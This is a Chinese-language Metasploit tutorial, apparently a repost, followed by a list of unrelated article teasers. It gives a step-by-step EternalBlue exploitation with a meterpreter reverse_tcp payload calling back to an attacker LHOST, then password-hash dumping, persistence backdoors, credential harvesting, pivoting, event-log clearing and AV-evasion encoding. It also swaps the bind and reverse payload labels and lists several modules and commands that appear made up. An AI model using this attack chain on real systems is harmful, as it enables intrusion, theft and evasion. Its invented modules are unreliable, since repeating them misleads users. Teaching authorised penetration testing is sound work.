Metasploit常用命令詳解

一、Metasploit 概述

Metasploit是一款開源的滲透測試框架,由 H.D. Moore 于 2003 年首次發布,目前由 rapid7 公司維護。它整合了大量漏洞利用模塊、后滲透工具和漏洞掃描功能,已成為網絡安全工程師、紅隊 / 藍隊成員及安全研究人員的核心工具之一。

?下載最新版安裝包: metasploitframework-latest.msi ?

Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit

永久添加腳本執行目錄到當前用戶的PATH: setx PATH "%PATH%;C:\metasploit-framework\bin"

Metasploit -- 目錄詳解及常用命令

Metasploit基礎和基本命令詳解

Metasploit Framework(MSF)命令匯總

二、核心功能與組件

  1. 漏洞利用模塊(Exploits)

    • 包含數千個針對不同系統、應用的漏洞攻擊代碼(如 Windows、Linux、Web 服務等),支持自動匹配目標環境。
    • 示例:exploit/windows/smb/ms17_010_eternalblue(針對永恒之藍漏洞)。
  2. Payload(攻擊載荷)

    • 漏洞成功利用后執行的代碼,可分為:
      • 正向 Payload:目標主動連接攻擊者(如windows/meterpreter/reverse_tcp)。
      • 反向 Payload:攻擊者主動連接目標(更繞過防火墻,如windows/meterpreter/bind_tcp)。
  3. 輔助模塊(Auxiliary)

    • 非漏洞利用功能,包括:
      • 掃描器(如auxiliary/scanner/portscan/tcp)、嗅探器、Fuzz 測試工具等。
  4. 后滲透模塊(Post)

    • 獲得目標權限后執行的操作,如數據竊取、權限維持、網絡信息收集(post/windows/gather/enum_logged_on_users)。
  5. 編碼器(Encoders)

    • 對 Payload 進行加密或變形,繞過殺毒軟件檢測(如x86/shikata_ga_nai)。

打開Metasploit: msfconsole

Metasploit功能列表:

1. Exploit Modules:用于攻擊和利用目標系統的漏洞。

2. Payloads:攻擊成功后在目標系統上執行的代碼,如反向 Shell。

3. Auxiliary Modules:輔助功能,如掃描和嗅探。

4. Encoders:用于編碼 Payloads 以規避檢測。

5. Post Modules:在目標系統上進一步操作的模塊,如提權、信息收集等。

6. Nop Generators:用于生成 NOP(No Operation)指令,幫助躲避 IDS/IPS。 ?

三、工作流程與典型場景

1. 基本滲透測試流程

目標信息收集 → 漏洞掃描 → 選擇Exploit與Payload → 配置參數 → 執行攻擊 → 后滲透操作

2. 實戰示例:獲取 Windows 主機權限

# 1. 啟動Metasploit msfconsole

# 2. 搜索永恒之藍漏洞模塊 search ms17-010

# 3. 加載漏洞利用模塊 use exploit/windows/smb/ms17_010_eternalblue

# 4. 配置目標IP set RHOSTS 192.168.1.100

# 5. 配置Payload(反向連接)

? ? ? ? ? ? ? ? ? set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 攻擊者? ? set LHOST 192.168.1.101

# 監聽端口 IP set LPORT 4444

# 6. 執行攻擊 exploit

3. 后滲透常用命令

  • sysinfo:查看系統信息
  • hashdump:獲取密碼哈希
  • upload/download:文件傳輸
  • persistence:創建持久化后門

四、優勢與局限性

優勢

1. 模塊化設計,支持自定義擴展;
2. 覆蓋主流平臺與漏洞,更新頻繁;
3. 圖形化界面(Metasploit Pro)降低使用門檻。

局限性

1. 依賴已知漏洞,對 0day 攻擊支持有限;
2. 流量特征易被檢測,需配合免殺技術;
3. 新手需學習編程(如 Ruby)才能開發自定義模塊。

五、安全合規與學習資源

  1. 合規提示

    • 僅可在授權環境(如企業內部測試、CTF 競賽)中使用,未經允許攻擊公共網絡屬于違法行為。
  2. 學習資源

    • 官方文檔:Metasploit Documentation
    • 實戰書籍:《Metasploit 滲透測試指南》《Web 滲透測試實戰》
    • 在線平臺:TryHackMe、Hack The Box(模擬靶場)

六、延伸:Metasploit 的演進與分支

  • Metasploit Pro:商業化版本,集成漏洞管理、報告生成等企業級功能。
  • Cobalt Strike:后滲透工具,常與 Metasploit 配合使用,具備更隱蔽的 C2 通信能力。
  • Armitage:Metasploit 的圖形化前端,支持鼠標拖拽式滲透測試。

通過掌握 Metasploit,安全人員可系統性地驗證網絡防御體系的薄弱環節,而攻擊者也可能利用其自動化能力實施攻擊。因此,企業需結合 IDS/IPS、EDR 等工具監控異常流量,并及時修補系統漏洞。

七、標準的滲透測試流程示例

1、信息收集(Reconnaissance)

信息收集(Reconnaissance)和 掃描和枚舉(Scanning and Enumeration) 獲取目標的信息,如 IP 地址、域名等。掃描目標網絡,發現開放端口和服務,枚舉詳細信息。

2、服務掃描

# 調用Nmap并將掃描結果導入Metasploit數據庫中
db_nmap -sV -O 192.168.1.0/24

# 掃描網絡中的所有活動主機
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run

# 掃描特定主機上的開放端口,識別運行的服務
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run

# 枚舉 SMB 服務的版本,了解系統運行的具體服務信息
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run

# 識別 FTP 服務版本
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
run

# 識別 HTTP 服務版本
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run ?

查看已發現的主機和服務

hosts
services ?

3、漏洞評估(Vulnerability Assessment)或漏洞掃描

識別目標系統中的已知漏洞。
可使用自動化工具:Nessus OpenVAS全面掃描漏洞。

1. 掃描漏洞

# 掃描目標系統的多種漏洞
use auxiliary/scanner/vulnerabilities/realvuln
set RHOSTS 192.168.1.0/24
run

# 掃描 Metasploit 框架支持的漏洞
use auxiliary/scanner/msf/msfscan
set RHOSTS 192.168.1.0/24
run

# Metasploit Pro 版提供更強大的自動化漏洞掃描功能,可以自動化許多步驟,并生成詳細報告
use pro
set WORKSPACE default
set RHOSTS 192.168.1.0/24
run ?

2. 導入其他工具掃描結果

# 導入 Nessus 掃描結果
load nessus
nessus_connect username:password@127.0.0.1:8834
nessus_report_list
nessus_import_report <report_id>

# 導入 OpenVAS 掃描結果
load openvas
openvas_connect username:password@127.0.0.1
openvas_report_list
openvas_import_report <report_id> ?

3、利用漏洞(Exploitation)

利用發現的漏洞獲取對目標系統的訪問權限

# 利用目標 SMB 服務的已知漏洞,設置目標主機和本地主機的相關參數并執行攻擊
search smb
use exploit/windows/smb/ms17_010_eternalblue
show targets ?# 查看所選模塊支持的模板平臺和配置
show options ?# 查看所選模塊的可配置選項
set RHOSTS 192.168.1.100 ?# 設置目標主機地址
check ?# 驗證漏洞

show payloads ?# 查看可用的有效載荷
set payload windows/x64/meterpreter/reverse_tcp ?# 選擇并配置適當的有效載荷,如反向 shell
set LHOST 192.168.1.50
exploit ?# 確認目標存在漏洞后,執行攻擊 ?

4、后滲透操作(Post-Exploitation)

在獲得訪問權限后進行進一步操作,如提權、信息收集等。

shell ? # 在成功獲得 Meterpreter 會話后
meterpreter > sysinfo ?# 查看系統信息
meterpreter > getuid ?# 獲取當前用戶 ID
meterpreter > shell ?# 進入目標系統的命令提示符 ?

5、清理和報告(Cleanup and Reporting)

清理所有操作痕跡,并生成詳細的滲透測試報告。

# 清除目標系統的事件日志,避免被檢測到,生成滲透測試報告
meterpreter > clearev ?

4、Metasploit其他功能

社會工程學工具

Social Engineering Toolkit (SET):可以創建各種社會工程攻擊,如釣魚攻擊、惡意 USB 制作等。

# 使用 SET 進行釣魚攻擊
use auxiliary/set/social_engineering/phishing ?

Web 應用測試

Auxiliary Modules:許多輔助模塊用于掃描和測試 Web 應用程序漏洞。

憑證收集

1. Meterpreter Scripts:在目標系統上運行腳本以收集密碼和其他憑證。

2. Post Exploitation Modules:用于提取存儲的密碼和會話令牌。 ?

# 使用 Meterpreter 腳本提取憑證
run post/windows/gather/credentials/windows_autologin ?

網絡隧道

1. Pivoting:通過已攻陷的系統建立網絡隧道,以訪問內網中的其他系統。

2. Portfwd:轉發端口以繞過防火墻和訪問受限資源。 ?

?# 進行 Pivoting
route add 10.0.0.0 255.255.255.0 1 ?

自定義模塊開發

編寫自定義模塊:使用 Ruby 編寫自定義漏洞利用和輔助模塊,滿足特定需求。
Metasploit 本身主要是基于 Ruby 編寫的,但它提供RPC接口,可以通過msgrpc服務集成Python腳本。

pyexec插件示例

shell ? load pyexec
pyexec 'print("Hello from Python")' ?

通過 RPC 接口與 Metasploit 交互?

# 啟動 Metasploit RPC 服務
vim rpc_service.rc
? load msgrpc ServerHost=127.0.0.1 ServerPort=55552 User=msf Pass=abc123
msfconsole -r rpc_service.rc
vim demo.py
? ? from metasploit.msfrpc import MsfRpcClient
? ? client = MsfRpcClient('abc123', server='127.0.0.1', port=55552)
? ? console = client.consoles.console()
? ? console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
? ? console.write('set RHOSTS 192.168.1.100\n')
? ? console.write('run\n') ?

任務自動化

1. Resource Scripts:使用 .rc 文件自動化執行一系列 Metasploit 命令。

2. Mettle Payloads:一種新的、更靈活的有效載荷框架,可以執行復雜的任務。 ?

shell ? # 自動化任務
resource myscript.rc ?

數據導出和報告

報告生成:生成滲透測試報告,包含詳細的測試步驟和結果。

數據導出:將掃描結果和會話數據導出為各種格式。

模塊化設計

1. Pluggable Payloads:用戶可以自定義和插入自己的有效載荷。

2. Custom Modules:允許用戶創建和加載自定義漏洞利用和輔助模塊。 ?

混淆與逃避

1. Encoders:對有效載荷進行編碼以繞過防病毒軟件和入侵檢測系統(IDS)。

2. Anti-Forensics:提供工具來混淆日志和刪除痕跡。 ?

實時協作

Team Collaboration:Metasploit Pro 支持團隊協作,多個用戶可以同時對同一目標進行測試。

模擬攻擊

Attack Simulations:可以模擬真實的攻擊場景,以測試和驗證防御措施。

插件支持

Community Plugins:支持用戶開發和共享插件,擴展 Metasploit 的功能。

高級報告

Detailed Reporting:生成詳細的滲透測試報告,包括發現的漏洞、利用情況和修復建議。

數據庫導入

Metasploit 支持從多種第三方漏洞掃描工具導入數據:

Metasploit 第三方軟件支持列表 ?

支持的數據格式和工具:

? Foundstone Network Inventory XML

? Microsoft MBSA SecScan XML

? nCircle IP360 XMLv3 and ASPL

? NetSparker XML

? Nessus NBE

? Nessus XML v1 and v2

? Qualys Asset XML

? Qualys Scan XML

? Burp Sessions XML

? Burp Issues XML

? Acunetix XML

? AppScan XML

? Nmap XML

? Retina XML

? Amap Log

? Critical Watch VM XML

? IP Address List

? Libpcap Network Capture

? Spiceworks Inventory Summary CSV

? Core Impact XML ?Nessus/OpenVAS

導入:可以將 Nessus 或 OpenVAS 的漏洞掃描結果導入 Metasploit 進行進一步分析。 ?

# 導入 Nessus 掃描結果
load nessus
nessus_import_report <report_id>

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/86064.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/86064.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/86064.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數據庫AICD特性之--一致性 Consistency

數據庫AICD特性之–原子性 Atomicity 數據庫AICD特性之–隔離性 Isolation 數據庫 ACID 特性之 – 持久性 Durability 數據庫AICD特性之–一致性 Consistency 一致性指數據庫在事務執行前后&#xff0c;數據始終符合預設的完整性約束和業務規則。事務執行前數據是合法的&…

OpenCV在圖像上繪制文字示例

OpenCV計算機視覺開發實踐&#xff1a;基于Qt C - 商品搜索 - 京東 OpenCV中除了提供繪制各種圖形的函數外&#xff0c;還提供了一個特殊的繪制函數&#xff0c;用于在圖像上繪制文字。這個函數是putText()&#xff0c;它是命名空間cv中的函數&#xff0c;其聲明如下&#xff…

synchronized的技巧與要點

一、基本概念 目的&#xff1a;解決多線程并發訪問共享資源時的數據競爭問題&#xff0c;保證原子性、可見性和有序性&#xff08;JMM內存模型&#xff09;。性質&#xff1a;可重入鎖&#xff08;同一線程可重復獲取同一把鎖&#xff09;、獨占鎖&#xff08;互斥鎖&#xff…

特殊混淆案例還原指南:突破變形控制流與量子加密的技術解析

引言?? 在JavaScript混淆領域,傳統的字符串加密和控制流平坦化已無法滿足高端防護需求。2023年Snyk安全報告指出,Top級商業產品已轉向??多態變形控制流??和??量子加密技術??,這類混淆方案占比17%,但導致的反向工程失敗率高達94%。本文將通過三個工業級混淆案例(…

基于Python、tkinter、sqlite3 和matplotlib的校園書店管理系統

寫一個小例子練習一下python語言。一個基于Python的校園書店管理系統&#xff0c;使用了tkinter庫構建圖形用戶界面&#xff08;GUI&#xff09;&#xff0c;sqlite3 進行數據庫管理&#xff0c;matplotlib用于統計分析可視化。系統支持用戶登錄、書籍管理、客戶管理、員工管理…

機器學習×第十四卷:集成學習中篇——她從每次錯誤中修正自己

&#x1f380;【開場 她終于愿意回看自己貼錯的地方了】 &#x1f98a;狐狐&#xff1a;“她貼過你很多次&#xff0c;但每次貼歪了&#xff0c;都只是低頭沉默。” &#x1f43e;貓貓&#xff1a;“現在不一樣了喵……她開始反思&#xff0c;是不是哪一刻該繞過來貼你背后&…

LeetCode 2537.統計好子數組的數目

給你一個整數數組 nums 和一個整數 k &#xff0c;請你返回 nums 中 好 子數組的數目。 一個子數組 arr 如果有 至少 k 對下標 (i, j) 滿足 i < j 且 arr[i] arr[j] &#xff0c;那么稱它是一個 好 子數組。 子數組 是原數組中一段連續 非空 的元素序列。 示例 1&#x…

Python 開發環境管理和常用命令

包管理器選擇 從輕到重: venv → virtualenv → conda venv: Python 3.3 內置&#xff0c;輕量級虛擬環境virtualenv: 第三方包&#xff0c;支持更多Python版本conda: 科學計算友好&#xff0c;包含包管理和環境管理 Python 版本支持 查看各版本支持狀態&#xff1a;Status…

macOS - 根據序列號查看機型、保障信息

文章目錄 最近在看 MacBook 二手機&#xff0c;有個咸魚賣家放個截圖 說不清參數&#xff0c;于是想根據 序列號 查看機型。蘋果提供了這樣的網頁&#xff1a; https://checkcoverage.apple.com/ &#xff08;無需登錄&#xff09; 結果 2025-06-20&#xff08;五&#xff09;…

數字化項目調研過程中需要的文章

Hello&#xff0c;大家好 &#xff0c;我是東哥說-MES 最近寫了不少的文章&#xff0c;為了方便閱讀&#xff0c;特意重新整理了數字化相關的文章鏈接&#xff0c;也便于大家閱讀 數字工廠項目啟動與業務需求調研執行指南-CSDN博客文章瀏覽閱讀725次&#xff0c;點贊28次&…

LangChain4j之會話功能AiServices工具類的使用(系列二)

概述 LangChain4j 的會話功能 AiServices 工具類&#xff0c;可助力輕松實現智能對話。它能記錄對話上下文&#xff0c;讓 AI 回答連貫且貼合情境。使用起來&#xff0c;先引入類&#xff0c;配置好相關參數&#xff0c;如模型地址、密鑰等。接著&#xff0c;調用相應方法傳入…

Qt 中使用 gtest 做單元測試

作者&#xff1a;billy 版權聲明&#xff1a;著作權歸作者所有&#xff0c;商業轉載請聯系作者獲得授權&#xff0c;非商業轉載請注明出處 gtest 簡介 GoogleTest&#xff08;也稱為gtest&#xff09;是由 Google 開發的一個 C 單元測試框架&#xff0c;用于編寫、組織和運行…

WPF TreeView 數據綁定完全指南:MVVM 模式實現

WPF TreeView 數據綁定完全指南&#xff1a;MVVM 模式實現 一、TreeView 綁定的核心概念1.1 MVVM 模式下的 TreeView 綁定原理1.2 綁定關系示意圖 二、完整實現步驟2.1 創建節點模型類2.2 創建 ViewModel2.3 XAML 綁定配置2.4 設置 Window 的 DataContext 三、關鍵特性詳解3.1 …

坤馳科技QTS4200戰鷹(Battle Eagle)系列實時頻譜分析記錄回放系統

QTS4200戰鷹(Battle Eagle)系列 實時頻譜分析記錄回放系統 精準采集&#xff5c;高效回放&#xff5c;拓展頻譜分析新邊界 坤馳科技傾力打造新一代集實時頻譜分析、高速信號記錄與精準信號回放于一體的便攜式系統&#xff0c;為無線電監測、無線通信、國防等領域提供全面而高…

Flask(二) 路由routes

文章目錄 基本路由定義路由參數路由規則設置請求方法&#xff08;GET/POST&#xff09;路由函數返回靜態文件和模板Blueprint&#xff08;模塊化路由&#xff09;顯示當前所有路由 Flask 路由是 Web 應用程序中將 URL 映射到 Python 函數的機制。 定義路由&#xff1a;使用 app…

在el-image組件的預覽中添加打印功能(自定義功能)

思路&#xff1a;給圖片添加點擊事件&#xff0c;通過js獲取預覽的工具欄&#xff0c;在工具欄中添加自定義按鈕及事件 1、html 中 image標簽 <el-image style"width: 139px; height: 89px" :src"fileUrl" :preview-src-list"[fileUrl]" cli…

TongWeb替換tomcat

1、背景 國家近年來大力推進信息技術應用創新產業&#xff08;信創&#xff09;&#xff0c;要求關鍵領域采用自主可控的國產軟硬件。Tomcat作為國外開源產品&#xff0c;存在潛在的安全風險和技術依賴。TongWeb作為國產中間件&#xff0c;符合信創目錄要求&#xff0c;滿足政府…

聯合語音和文本機器翻譯,支持多達100種語言(nature子刊論文研讀)

簡介&#xff1a; &#x1f30d; SEAMLESSM4T 是一種單一模型&#xff0c;實現了跨越多達 101 種源語言和多種目標語言的語音到語音、語音到文本、文本到語音和文本到文本翻譯及自動語音識別。&#x1f680; 該模型性能顯著超越現有級聯系統&#xff0c;特別是在語音到文本和語…

網站公安網安備案查詢API集成指南

網站公安網安備案查詢API集成指南 引言 隨著互聯網應用的日益普及&#xff0c;網絡安全和個人隱私保護越來越受到重視。公安網安備案作為保障網絡安全的重要措施之一&#xff0c;對于確保網站合法合規運營具有重要意義。為了幫助開發者更加便捷地獲取網站的公安網安備案信息&a…

如何用遠程調試工具排查 WebView 與原生通信問題(iOS或Android)

WebView 在移動端開發中的角色越來越關鍵&#xff0c;尤其在混合架構&#xff08;Hybrid&#xff09;項目中&#xff0c;它作為前端與原生的橋梁&#xff0c;承載了大量交互行為。但這個橋梁并不總是穩固&#xff0c;尤其是在涉及 JSBridge 通信 時&#xff0c;前端調用原生接口…